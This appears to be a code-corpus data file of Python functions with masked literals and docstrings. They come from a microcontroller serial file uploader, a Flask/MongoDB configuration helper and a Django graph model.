{"signature": "def prepare(self):", "body": "log.info('<STR_LIT>')<EOL>for func in LUA_FUNCTIONS:<EOL><INDENT>detected = self.__exchange('<STR_LIT>'.format(func))<EOL>if detected.find('<STR_LIT>') == -<NUM_LIT:1>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>log.info('<STR_LIT>')<EOL>return True<EOL><DEDENT>functions = RECV_LUA + '<STR_LIT:\\n>' + SEND_LUA<EOL>data = functions.format(baud=self._port.baudrate)<EOL>lines = data.replace('<STR_LIT:\\r>', '<STR_LIT>').split('<STR_LIT:\\n>')<EOL>for line in lines:<EOL><INDENT>line = line.strip().replace('<STR_LIT:U+002CU+0020>', '<STR_LIT:U+002C>').replace('<STR_LIT>', '<STR_LIT:=>')<EOL>if len(line) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>resp = self.__exchange(line)<EOL>if ('<STR_LIT>' in resp) or ('<STR_LIT>' in resp) or len(resp) > len(functions)+<NUM_LIT:10>:<EOL><INDENT>log.error('<STR_LIT>', resp)<EOL>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "This uploads the protocol functions nessecary to do binary\nchunked transfer", "id": "f15366:c0:m9"}
{"signature": "def download_file(self, filename):", "body": "res = self.__exchange('<STR_LIT>'.format(filename=filename))<EOL>if ('<STR_LIT>' in res) or ('<STR_LIT>' in res):<EOL><INDENT>log.error('<STR_LIT>', res)<EOL>raise Exception('<STR_LIT>')<EOL><DEDENT>self.__write('<STR_LIT:C>')<EOL>sent_filename = self.__expect(NUL).strip()<EOL>log.info('<STR_LIT>' + sent_filename)<EOL>self.__write(ACK, True)<EOL>buf = '<STR_LIT>'<EOL>data = '<STR_LIT>'<EOL>chunk, buf = self.__read_chunk(buf)<EOL>while chunk != '<STR_LIT>':<EOL><INDENT>self.__write(ACK, True)<EOL>data = data + chunk<EOL>chunk, buf = self.__read_chunk(buf)<EOL><DEDENT>return data<EOL>", "docstring": "Download a file from device to local filesystem", "id": "f15366:c0:m10"}
{"signature": "def read_file(self, filename, destination='<STR_LIT>'):", "body": "if not destination:<EOL><INDENT>destination = filename<EOL><DEDENT>log.info('<STR_LIT>', filename, destination)<EOL>data = self.download_file(filename)<EOL>log.info(destination)<EOL>if not os.path.exists(os.path.dirname(destination)):<EOL><INDENT>try:<EOL><INDENT>os.makedirs(os.path.dirname(destination))<EOL><DEDENT>except OSError as e:  <EOL><INDENT>if e.errno != errno.EEXIST:<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT>with open(destination, '<STR_LIT:w>') as fil:<EOL><INDENT>fil.write(data)<EOL><DEDENT>", "docstring": "reading data from device into local file", "id": "f15366:c0:m11"}
{"signature": "def write_file(self, path, destination='<STR_LIT>', verify='<STR_LIT:none>'):", "body": "filename = os.path.basename(path)<EOL>if not destination:<EOL><INDENT>destination = filename<EOL><DEDENT>log.info('<STR_LIT>', path, destination)<EOL>self.__writeln(\"<STR_LIT>\")<EOL>res = self.__expect('<STR_LIT>')<EOL>if not res.endswith('<STR_LIT>'):<EOL><INDENT>log.error('<STR_LIT>', res)<EOL>raise CommunicationTimeout('<STR_LIT>', res)<EOL><DEDENT>log.debug('<STR_LIT>', destination)<EOL>self.__write(destination + '<STR_LIT:\\x00>', True)<EOL>if not self.__got_ack():<EOL><INDENT>log.error('<STR_LIT>')<EOL>raise NoAckException('<STR_LIT>')<EOL><DEDENT>content = from_file(path)<EOL>log.debug('<STR_LIT>', len(content), filename)<EOL>pos = <NUM_LIT:0><EOL>chunk_size = <NUM_LIT><EOL>while pos < len(content):<EOL><INDENT>rest = len(content) - pos<EOL>if rest > chunk_size:<EOL><INDENT>rest = chunk_size<EOL><DEDENT>data = content[pos:pos+rest]<EOL>if not self.__write_chunk(data):<EOL><INDENT>resp = self.__expect()<EOL>log.error('<STR_LIT>', resp, hexify(resp))<EOL>raise BadResponseException('<STR_LIT>', ACK, resp)<EOL><DEDENT>pos += chunk_size<EOL><DEDENT>log.debug('<STR_LIT>')<EOL>self.__write_chunk('<STR_LIT>')<EOL>if verify != '<STR_LIT:none>':<EOL><INDENT>self.verify_file(path, destination, verify)<EOL><DEDENT>", "docstring": "sends a file to the device using the transfer protocol", "id": "f15366:c0:m12"}
{"signature": "def verify_file(self, path, destination, verify='<STR_LIT:none>'):", "body": "content = from_file(path)<EOL>log.info('<STR_LIT>' % verify)<EOL>if verify == '<STR_LIT>':<EOL><INDENT>data = self.download_file(destination)<EOL>if content != data:<EOL><INDENT>log.error('<STR_LIT>')<EOL>raise VerificationError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>log.info('<STR_LIT>')<EOL><DEDENT><DEDENT>elif verify == '<STR_LIT>':<EOL><INDENT>data = self.__exchange('<STR_LIT>'+destination+'<STR_LIT>').splitlines()[<NUM_LIT:1>]<EOL>log.info('<STR_LIT>', data)<EOL>filehashhex = hashlib.sha1(content.encode(ENCODING)).hexdigest()<EOL>log.info('<STR_LIT>', filehashhex)<EOL>if data != filehashhex:<EOL><INDENT>log.error('<STR_LIT>')<EOL>raise VerificationError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>log.info('<STR_LIT>')<EOL><DEDENT><DEDENT>elif verify != '<STR_LIT:none>':<EOL><INDENT>raise Exception(verify + '<STR_LIT>')<EOL><DEDENT>", "docstring": "Tries to verify if path has same checksum as destination.\n            Valid options for verify is 'raw', 'sha1' or 'none'", "id": "f15366:c0:m13"}
{"signature": "def exec_file(self, path):", "body": "filename = os.path.basename(path)<EOL>log.info('<STR_LIT>', filename)<EOL>content = from_file(path).replace('<STR_LIT:\\r>', '<STR_LIT>').split('<STR_LIT:\\n>')<EOL>res = '<STR_LIT>'<EOL>for line in content:<EOL><INDENT>line = line.rstrip('<STR_LIT:\\n>')<EOL>retlines = (res + self.__exchange(line)).splitlines()<EOL>res = retlines.pop()<EOL>for lin in retlines:<EOL><INDENT>log.info(lin)<EOL><DEDENT><DEDENT>log.info(res)<EOL>", "docstring": "execute the lines in the local file 'path", "id": "f15366:c0:m14"}
{"signature": "def __got_ack(self):", "body": "log.debug('<STR_LIT>')<EOL>res = self._port.read(<NUM_LIT:1>)<EOL>log.debug('<STR_LIT>', hexify(res))<EOL>return res == ACK<EOL>", "docstring": "Returns true if ACK is received", "id": "f15366:c0:m15"}
{"signature": "def write_lines(self, data):", "body": "lines = data.replace('<STR_LIT:\\r>', '<STR_LIT>').split('<STR_LIT:\\n>')<EOL>for line in lines:<EOL><INDENT>self.__exchange(line)<EOL><DEDENT>", "docstring": "write lines, one by one, separated by \\n to device", "id": "f15366:c0:m16"}
{"signature": "def __write_chunk(self, chunk):", "body": "log.debug('<STR_LIT>', len(chunk))<EOL>data = BLOCK_START + chr(len(chunk)) + chunk<EOL>if len(chunk) < <NUM_LIT>:<EOL><INDENT>padding = <NUM_LIT> - len(chunk)<EOL>log.debug('<STR_LIT>', padding)<EOL>data = data + ('<STR_LIT:U+0020>' * padding)<EOL><DEDENT>log.debug(\"<STR_LIT>\", len(data))<EOL>self.__write(data)<EOL>self._port.flush()<EOL>return self.__got_ack()<EOL>", "docstring": "formats and sends a chunk of data to the device according\n        to transfer protocol", "id": "f15366:c0:m17"}
{"signature": "def __read_chunk(self, buf):", "body": "log.debug('<STR_LIT>')<EOL>timeout_before = self._port.timeout<EOL>if SYSTEM != '<STR_LIT>':<EOL><INDENT>if self._port.timeout != MINIMAL_TIMEOUT:<EOL><INDENT>self._port.timeout = MINIMAL_TIMEOUT<EOL><DEDENT><DEDENT>end = time.time() + timeout_before<EOL>while len(buf) < <NUM_LIT> and time.time() <= end:<EOL><INDENT>buf = buf + self._port.read()<EOL><DEDENT>if buf[<NUM_LIT:0>] != BLOCK_START or len(buf) < <NUM_LIT>:<EOL><INDENT>log.debug('<STR_LIT>', hexify(buf))<EOL>raise Exception('<STR_LIT>')<EOL><DEDENT>if SYSTEM != '<STR_LIT>':<EOL><INDENT>self._port.timeout = timeout_before<EOL><DEDENT>chunk_size = ord(buf[<NUM_LIT:1>])<EOL>data = buf[<NUM_LIT:2>:chunk_size+<NUM_LIT:2>]<EOL>buf = buf[<NUM_LIT>:]<EOL>return (data, buf)<EOL>", "docstring": "Read a chunk of data", "id": "f15366:c0:m18"}
{"signature": "def file_list(self):", "body": "log.info('<STR_LIT>')<EOL>res = self.__exchange(LIST_FILES)<EOL>res = res.split('<STR_LIT:\\r\\n>')<EOL>res = res[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>files = []<EOL>for line in res:<EOL><INDENT>files.append(line.split('<STR_LIT:\\t>'))<EOL><DEDENT>return files<EOL>", "docstring": "list files on the device", "id": "f15366:c0:m19"}
{"signature": "def file_do(self, filename):", "body": "log.info('<STR_LIT>'+filename)<EOL>res = self.__exchange('<STR_LIT>'+filename+'<STR_LIT>')<EOL>log.info(res)<EOL>return res<EOL>", "docstring": "Execute a file on the device using 'do", "id": "f15366:c0:m20"}
{"signature": "def file_format(self):", "body": "log.info('<STR_LIT>')<EOL>res = self.__exchange('<STR_LIT>', timeout=<NUM_LIT>)<EOL>if '<STR_LIT>' not in res:<EOL><INDENT>log.error(res)<EOL><DEDENT>else:<EOL><INDENT>log.info(res)<EOL><DEDENT>return res<EOL>", "docstring": "Formats device filesystem", "id": "f15366:c0:m21"}
{"signature": "def file_print(self, filename):", "body": "log.info('<STR_LIT>' + filename)<EOL>res = self.__exchange(PRINT_FILE.format(filename=filename))<EOL>log.info(res)<EOL>return res<EOL>", "docstring": "Prints a file on the device to console", "id": "f15366:c0:m22"}
{"signature": "def node_heap(self):", "body": "log.info('<STR_LIT>')<EOL>res = self.__exchange('<STR_LIT>')<EOL>log.info(res)<EOL>return int(res.split('<STR_LIT:\\r\\n>')[<NUM_LIT:1>])<EOL>", "docstring": "Show device heap size", "id": "f15366:c0:m23"}
{"signature": "def node_restart(self):", "body": "log.info('<STR_LIT>')<EOL>res = self.__exchange('<STR_LIT>')<EOL>log.info(res)<EOL>return res<EOL>", "docstring": "Restarts device", "id": "f15366:c0:m24"}
{"signature": "def file_compile(self, path):", "body": "log.info('<STR_LIT>'+path)<EOL>cmd = '<STR_LIT>' % path<EOL>res = self.__exchange(cmd)<EOL>log.info(res)<EOL>return res<EOL>", "docstring": "Compiles a file specified by path on the device", "id": "f15366:c0:m25"}
{"signature": "def file_remove(self, path):", "body": "log.info('<STR_LIT>'+path)<EOL>cmd = '<STR_LIT>' % path<EOL>res = self.__exchange(cmd)<EOL>log.info(res)<EOL>return res<EOL>", "docstring": "Removes a file on the device", "id": "f15366:c0:m26"}
{"signature": "def backup(self, path):", "body": "log.info('<STR_LIT>'+path)<EOL>files = self.file_list()<EOL>self.prepare()<EOL>for f in files:<EOL><INDENT>self.read_file(f[<NUM_LIT:0>], os.path.join(path, f[<NUM_LIT:0>]))<EOL><DEDENT>", "docstring": "Backup all files from the device", "id": "f15366:c0:m27"}
{"signature": "def destination_from_source(sources, use_glob=True):", "body": "destinations = []<EOL>newsources = []<EOL>for i in range(<NUM_LIT:0>, len(sources)):<EOL><INDENT>srcdst = sources[i].split('<STR_LIT::>')<EOL>if len(srcdst) == <NUM_LIT:2>:<EOL><INDENT>destinations.append(srcdst[<NUM_LIT:1>])<EOL>newsources.append(srcdst[<NUM_LIT:0>]) <EOL><DEDENT>else:<EOL><INDENT>if use_glob:<EOL><INDENT>listing = glob.glob(srcdst[<NUM_LIT:0>])<EOL>for filename in listing:<EOL><INDENT>newsources.append(filename)<EOL>destinations.append(filename.replace('<STR_LIT:\\\\>', '<STR_LIT:/>'))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>newsources.append(srcdst[<NUM_LIT:0>])<EOL>destinations.append(srcdst[<NUM_LIT:0>])<EOL><DEDENT><DEDENT><DEDENT>return [newsources, destinations]<EOL>", "docstring": "Split each of the sources in the array on ':'\nFirst part will be source, second will be destination.\nModifies the the original array to contain only sources\nand returns an array of destinations.", "id": "f15367:m0"}
{"signature": "def operation_upload(uploader, sources, verify, do_compile, do_file, do_restart):", "body": "sources, destinations = destination_from_source(sources)<EOL>if len(destinations) == len(sources):<EOL><INDENT>if uploader.prepare():<EOL><INDENT>for filename, dst in zip(sources, destinations):<EOL><INDENT>if do_compile:<EOL><INDENT>uploader.file_remove(os.path.splitext(dst)[<NUM_LIT:0>]+'<STR_LIT>')<EOL><DEDENT>uploader.write_file(filename, dst, verify)<EOL>if do_compile and dst != '<STR_LIT>':<EOL><INDENT>uploader.file_compile(dst)<EOL>uploader.file_remove(dst)<EOL>if do_file:<EOL><INDENT>uploader.file_do(os.path.splitext(dst)[<NUM_LIT:0>]+'<STR_LIT>')<EOL><DEDENT><DEDENT>elif do_file:<EOL><INDENT>uploader.file_do(dst)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if do_restart:<EOL><INDENT>uploader.node_restart()<EOL><DEDENT>log.info('<STR_LIT>')<EOL>", "docstring": "The upload operation", "id": "f15367:m1"}
{"signature": "def operation_download(uploader, sources):", "body": "sources, destinations = destination_from_source(sources, False)<EOL>print('<STR_LIT>', sources)<EOL>print('<STR_LIT>', destinations)<EOL>if len(destinations) == len(sources):<EOL><INDENT>if uploader.prepare():<EOL><INDENT>for filename, dst in zip(sources, destinations):<EOL><INDENT>uploader.read_file(filename, dst)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>log.info('<STR_LIT>')<EOL>", "docstring": "The download operation", "id": "f15367:m2"}
{"signature": "def operation_list(uploader):", "body": "files = uploader.file_list()<EOL>for f in files:<EOL><INDENT>log.info(\"<STR_LIT>\".format(file=f[<NUM_LIT:0>], size=f[<NUM_LIT:1>]))<EOL><DEDENT>", "docstring": "List file on target", "id": "f15367:m3"}
{"signature": "def operation_file(uploader, cmd, filename='<STR_LIT>'):", "body": "if cmd == '<STR_LIT:list>':<EOL><INDENT>operation_list(uploader)<EOL><DEDENT>if cmd == '<STR_LIT>':<EOL><INDENT>for path in filename:<EOL><INDENT>uploader.file_do(path)<EOL><DEDENT><DEDENT>elif cmd == '<STR_LIT>':<EOL><INDENT>uploader.file_format()<EOL><DEDENT>elif cmd == '<STR_LIT>':<EOL><INDENT>for path in filename:<EOL><INDENT>uploader.file_remove(path)<EOL><DEDENT><DEDENT>elif cmd == '<STR_LIT>':<EOL><INDENT>for path in filename:<EOL><INDENT>uploader.file_print(path)<EOL><DEDENT><DEDENT>", "docstring": "File operations", "id": "f15367:m4"}
{"signature": "def arg_auto_int(value):", "body": "return int(value, <NUM_LIT:0>)<EOL>", "docstring": "parsing function for integer arguments", "id": "f15367:m5"}
{"signature": "def main_func():", "body": "parser = argparse.ArgumentParser(<EOL>description='<STR_LIT>',<EOL>prog='<STR_LIT>'<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>default=False)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>action='<STR_LIT:version>',<EOL>version='<STR_LIT>'.format(version=__version__, serialversion=serialversion)<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>default=Uploader.PORT)<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>type=arg_auto_int,<EOL>default=Uploader.BAUD)<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>type=arg_auto_int,<EOL>default=Uploader.START_BAUD)<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>type=arg_auto_int,<EOL>default=Uploader.TIMEOUT)<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>type=float,<EOL>default=Uploader.AUTOBAUD_TIME,<EOL>)<EOL>subparsers = parser.add_subparsers(<EOL>dest='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>backup_parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>backup_parser.add_argument('<STR_LIT:path>', help='<STR_LIT>')<EOL>upload_parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>upload_parser.add_argument(<EOL>'<STR_LIT:filename>',<EOL>nargs='<STR_LIT:+>',<EOL>help='<STR_LIT>'<EOL>)<EOL>upload_parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT:-c>',<EOL>help='<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>default=False<EOL>)<EOL>upload_parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>nargs='<STR_LIT:?>',<EOL>choices=['<STR_LIT:none>', '<STR_LIT>', '<STR_LIT>'],<EOL>default='<STR_LIT:none>'<EOL>)<EOL>upload_parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>default=False<EOL>)<EOL>upload_parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>default=False<EOL>)<EOL>exec_parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>exec_parser.add_argument('<STR_LIT:filename>', nargs='<STR_LIT:+>', help='<STR_LIT>')<EOL>download_parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>download_parser.add_argument('<STR_LIT:filename>',<EOL>nargs='<STR_LIT:+>',<EOL>help='<STR_LIT>')<EOL>file_parser = subparsers.add_parser(<EOL>'<STR_LIT:file>',<EOL>help='<STR_LIT>')<EOL>file_parser.add_argument(<EOL>'<STR_LIT>',<EOL>choices=('<STR_LIT:list>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'),<EOL>help=\"<STR_LIT>\")<EOL>file_parser.add_argument('<STR_LIT:filename>', nargs='<STR_LIT:*>', help='<STR_LIT>')<EOL>node_parse = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>node_parse.add_argument('<STR_LIT>', choices=('<STR_LIT>', '<STR_LIT>'), help=\"<STR_LIT>\")<EOL>subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>)<EOL>args = parser.parse_args()<EOL>default_level = logging.INFO<EOL>if args.verbose:<EOL><INDENT>default_level = logging.DEBUG<EOL><DEDENT>logging.basicConfig(level=default_level, format='<STR_LIT>')<EOL>if args.operation == '<STR_LIT>':<EOL><INDENT>terminal(args.port, str(args.start_baud))<EOL>return<EOL><DEDENT>uploader = Uploader(args.port, args.baud, start_baud=args.start_baud, autobaud_time=args.autobaud_time)<EOL>if args.timeout:<EOL><INDENT>uploader.set_timeout(args.timeout)<EOL><DEDENT>if args.operation == '<STR_LIT>':<EOL><INDENT>operation_upload(uploader, args.filename, args.verify, args.compile, args.dofile,<EOL>args.restart)<EOL><DEDENT>elif args.operation == '<STR_LIT>':<EOL><INDENT>operation_download(uploader, args.filename)<EOL><DEDENT>elif args.operation == '<STR_LIT>':<EOL><INDENT>sources = args.filename<EOL>for path in sources:<EOL><INDENT>uploader.exec_file(path)<EOL><DEDENT><DEDENT>elif args.operation == '<STR_LIT:file>':<EOL><INDENT>operation_file(uploader, args.cmd, args.filename)<EOL><DEDENT>elif args.operation == '<STR_LIT>':<EOL><INDENT>if args.ncmd == '<STR_LIT>':<EOL><INDENT>uploader.node_heap()<EOL><DEDENT>elif args.ncmd == '<STR_LIT>':<EOL><INDENT>uploader.node_restart()<EOL><DEDENT><DEDENT>elif args.operation == '<STR_LIT>':<EOL><INDENT>uploader.backup(args.path)<EOL><DEDENT>uploader.close()<EOL>", "docstring": "Main function for cli", "id": "f15367:m6"}
{"signature": "def default_port(sysname=system()):", "body": "system_default = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}.get(sysname, '<STR_LIT>')<EOL>return environ.get('<STR_LIT>', system_default)<EOL>", "docstring": "This returns the default port used for different systems if SERIALPORT env variable is not set", "id": "f15369:m0"}
{"signature": "def get_app_name():", "body": "fn = getattr(sys.modules['<STR_LIT:__main__>'], '<STR_LIT>', None)<EOL>if fn is None:<EOL><INDENT>return '<STR_LIT:__main__>'<EOL><DEDENT>return os.path.splitext(os.path.basename(fn))[<NUM_LIT:0>]<EOL>", "docstring": "Flask like implementation of getting the applicaiton name via\n    the filename of the including file", "id": "f15373:m0"}
{"signature": "def __new__(cls, app_or_object_or_dict):", "body": "config = {}<EOL>app_name = get_app_name()<EOL>is_flask = False<EOL>if flask_app and isinstance(app_or_object_or_dict, flask_app.Flask):<EOL><INDENT>config.update(app_or_object_or_dict.config)<EOL>app_name = app_or_object_or_dict.name<EOL>is_flask = True<EOL><DEDENT>elif isinstance(app_or_object_or_dict, dict):<EOL><INDENT>config.update(app_or_object_or_dict)<EOL><DEDENT>else:<EOL><INDENT>for name in dir(app_or_object_or_dict):<EOL><INDENT>if not name.startswith('<STR_LIT:_>'):<EOL><INDENT>config[name] = getattr(app_or_object_or_dict, name)<EOL><DEDENT><DEDENT><DEDENT>kwargs = config.get('<STR_LIT>', {})<EOL>if '<STR_LIT>' in config:<EOL><INDENT>parsed = pymongo.uri_parser.parse_uri(config.get('<STR_LIT>'))<EOL>if '<STR_LIT>' not in parsed:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>config['<STR_LIT>'] = parsed['<STR_LIT>']<EOL>config['<STR_LIT>'] = parsed['<STR_LIT:username>']<EOL>config['<STR_LIT>'] = parsed['<STR_LIT:password>']<EOL>for option, value in parsed['<STR_LIT>'].iteritems():<EOL><INDENT>kwargs.setdefault(option, value)<EOL><DEDENT>config.pop('<STR_LIT>', None)<EOL>config.pop('<STR_LIT>', None)<EOL>host = config.get('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>config.setdefault('<STR_LIT>', '<STR_LIT:localhost>')<EOL>config.setdefault('<STR_LIT>', <NUM_LIT>)<EOL>config.setdefault('<STR_LIT>', app_name)<EOL>config.setdefault('<STR_LIT>', None)<EOL>config.setdefault('<STR_LIT>', None)<EOL>try:<EOL><INDENT>port = int(config.get('<STR_LIT>'))<EOL><DEDENT>except ValueError:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>host = '<STR_LIT>' % (config.get('<STR_LIT>'),<EOL>config.get('<STR_LIT>'))<EOL><DEDENT>username = config.get('<STR_LIT>')<EOL>password = config.get('<STR_LIT>')<EOL>auth = (username, password)<EOL>if any(auth) and not all(auth):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>database = config.get('<STR_LIT>')<EOL>kwargs['<STR_LIT:host>'] = host<EOL>if kwargs.get('<STR_LIT>'):<EOL><INDENT>cls = pymongo.MongoReplicaSetClient<EOL><DEDENT>else:<EOL><INDENT>cls = pymongo.MongoClient<EOL><DEDENT>mongo = cls(**kwargs)<EOL>db = mongo[database]<EOL>if any(auth):<EOL><INDENT>db.authenticate(username, password)<EOL><DEDENT>if is_flask:<EOL><INDENT>if not hasattr(app_or_object_or_dict, '<STR_LIT>'):<EOL><INDENT>app_or_object_or_dict.extensions = {}<EOL><DEDENT>app_or_object_or_dict.extensions['<STR_LIT>'] = (mongo, db)<EOL><DEDENT>return mongo, db<EOL>", "docstring": "Creates and returns a tuple of either:\n\n        (pymongo.mongo_client.MongoClient, pymongo.database.Database)\n\n        or\n\n        (pymongo.mongo_replica_set_client.MongoReplicaSetClient,\n         pymongo.database.Database)\n\n        utilizing either a passed in Flask 'app' instance, an imported module\n        object, or a dictionary of config values.\n\n        Arguments:\n        app_or_object_or_dict -- Flask app instance, and object or a dict", "id": "f15373:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>@transaction.atomic<EOL>def factory(cls, data_class, **kwargs):<DEDENT>", "body": "if not issubclass(data_class, BaseNodeData):<EOL><INDENT>raise AttributeError('<STR_LIT>')<EOL><DEDENT>content_type = ContentType.objects.get_for_model(data_class)<EOL>graph = DCCGraph.objects.create(data_content_type=content_type)<EOL>node = Node.objects.create(graph=graph)<EOL>data_class.objects.create(node=node, **kwargs)<EOL>graph.root = node<EOL>graph.save()<EOL>return graph<EOL>", "docstring": "Creates a ``DCCGraph``, a root :class:`Node`: and the node's\n        associated data class instance.  This factory is used to get around\n        the chicken-and-egg problem of the ``DCCGraph`` and ``Nodes`` within\n        it having pointers to each other.\n\n        :param data_class: \n            django model class that extends :class:`BaseNodeData` and is used\n            to associate information with the nodes in this graph\n        :param kwargs: \n            arguments to pass to constructor of the data class instance that\n            is to be created for the root node\n        :returns: \n            instance of the newly created ``DCCGraph``", "id": "f15383:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>@transaction.atomic<EOL>def factory_from_graph(cls, data_class, root_args, children):<DEDENT>", "body": "graph = cls.factory(data_class, **root_args)<EOL>for child in children:<EOL><INDENT>cls._depth_create(graph.root, child[<NUM_LIT:0>], child[<NUM_LIT:1>])<EOL><DEDENT>return graph<EOL>", "docstring": "Creates a ``DCCGraph`` and corresponding nodes.  The root_args parm\n        is a dictionary specifying the parameters for creating a :class:`Node`\n        and its corresponding :class:`BaseNodeData` subclass from the\n        data_class specified.  The children parm is an iterable containing\n        pairs of dictionaries and iterables, where the dictionaries specify\n        the parameters for a :class:`BaseNodeData` subclass and the iterable\n        the list of children.\n\n        Example::\n\n            DCCGraph.factory_from_graph(Label, \n                {'name':'A'}, [\n                    ({'name':'B', []),\n                    ({'name':'C', [])\n                ])\n\n        creates the graph::\n\n                 A\n                / \\\n               B   C\n\n        :param data_class: \n            django model class that extends :class:`BaseNodeData` and is used\n            to associate information with the Nodes in this graph\n        :param root_args: \n            dictionary of arguments to pass to constructor of the data class\n            instance that is to be created for the root node\n        :param children: \n            iterable with a list of dictionary and iterable pairs\n        :returns: \n            instance of the newly created ``DCCGraph``", "id": "f15383:c0:m3"}
{"signature": "def find_nodes(self, **kwargs):", "body": "filter_args = {}<EOL>classname = self.data_content_type.model_class().__name__.lower()<EOL>for key, value in kwargs.items():<EOL><INDENT>filter_args['<STR_LIT>' % (classname, key)] = value<EOL><DEDENT>return Node.objects.filter(**filter_args)<EOL>", "docstring": "Searches the data nodes that are associated with this graph using\n        the key word arguments as a filter and returns a\n        :class:`django.db.models.query.QuerySet`` of the attached\n        :class:`Node` objects.\n\n        :param kwargs: \n            filter arguments applied to searching the :class:`BaseNodeData`\n            subclass associated with this graph.\n        :returns: \n            ``QuerySet`` of :class:`Node` objects", "id": "f15383:c0:m4"}
{"signature": "def add_child(self, **kwargs):", "body": "data_class = self.graph.data_content_type.model_class()<EOL>node = Node.objects.create(graph=self.graph)<EOL>data_class.objects.create(node=node, **kwargs)<EOL>node.parents.add(self)<EOL>self.children.add(node)<EOL>return node<EOL>", "docstring": "Creates a new ``Node`` based on the extending class and adds it as\n        a child to this ``Node``.\n\n        :param kwargs: \n            arguments for constructing the data object associated with this\n            ``Node``\n        :returns: \n            extender of the ``Node`` class", "id": "f15383:c2:m3"}
{"signature": "def connect_child(self, node):", "body": "if node.graph != self.graph:<EOL><INDENT>raise AttributeError('<STR_LIT>')<EOL><DEDENT>node.parents.add(self)<EOL>self.children.add(node)<EOL>", "docstring": "Adds the given node as a child to this one.  No new nodes are\n        created, only connections are made.\n\n        :param node:\n            a ``Node`` object to connect", "id": "f15383:c2:m4"}
{"signature": "def ancestors(self):", "body": "ancestors = set([])<EOL>self._depth_ascend(self, ancestors)<EOL>try:<EOL><INDENT>ancestors.remove(self)<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>return list(ancestors)<EOL>", "docstring": "Returns a list of the ancestors of this node.", "id": "f15383:c2:m6"}
{"signature": "def ancestors_root(self):", "body": "if self.is_root():<EOL><INDENT>return []<EOL><DEDENT>ancestors = set([])<EOL>self._depth_ascend(self, ancestors, True)<EOL>try:<EOL><INDENT>ancestors.remove(self)<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>return list(ancestors)<EOL>", "docstring": "Returns a list of the ancestors of this node but does not pass the\n        root node, even if the root has parents due to cycles.", "id": "f15383:c2:m7"}
{"signature": "def descendents(self):", "body": "visited = set([])<EOL>self._depth_descend(self, visited)<EOL>try:<EOL><INDENT>visited.remove(self)<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>return list(visited)<EOL>", "docstring": "Returns a list of descendents of this node.", "id": "f15383:c2:m9"}
{"signature": "def descendents_root(self):", "body": "visited = set([])<EOL>self._depth_descend(self, visited, True)<EOL>try:<EOL><INDENT>visited.remove(self)<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>return list(visited)<EOL>", "docstring": "Returns a list of descendents of this node, if the root node is in\n        the list (due to a cycle) it will be included but will not pass\n        through it.", "id": "f15383:c2:m10"}
{"signature": "def can_remove(self):", "body": "if self.children.count() == <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>ancestors = set(self.ancestors_root())<EOL>children = set(self.children.all())<EOL>return children.issubset(ancestors)<EOL>", "docstring": "Returns True if it is legal to remove this node and still leave the\n        graph as a single connected entity, not splitting it into a forest.\n        Only nodes with no children or those who cause a cycle can be deleted.", "id": "f15383:c2:m11"}
